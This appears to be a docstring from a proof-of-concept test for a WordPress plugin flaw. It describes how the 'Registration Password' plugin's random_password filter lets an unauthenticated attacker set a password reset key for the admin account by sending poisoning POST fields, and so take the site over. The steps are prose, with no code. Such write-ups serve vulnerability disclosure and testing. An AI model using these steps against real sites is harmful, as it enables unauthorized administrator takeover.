    """
    Registration Password <= 1.0.1 adds a global `random_password` filter (src/WP/Auth.php:14) that
    returns the attacker-supplied $_POST['pass1'] whenever $_POST['fs_is_password_for_registration']==
    'yes' (src/WP/Auth.php:68-79) — with NO check that the current flow is actually a registration.
    
    WordPress's get_password_reset_key() generates the reset key via wp_generate_password(), which runs
    the `random_password` filter. So an attacker triggering a password reset for `admin` while sending
    the poisoning fields forces the stored reset key to a value they choose. They then complete the
    reset with that known key and set a new administrator password -> full account takeover, entirely
    unauthenticated.
    
    Prior state: plugin active (registration form not even required).
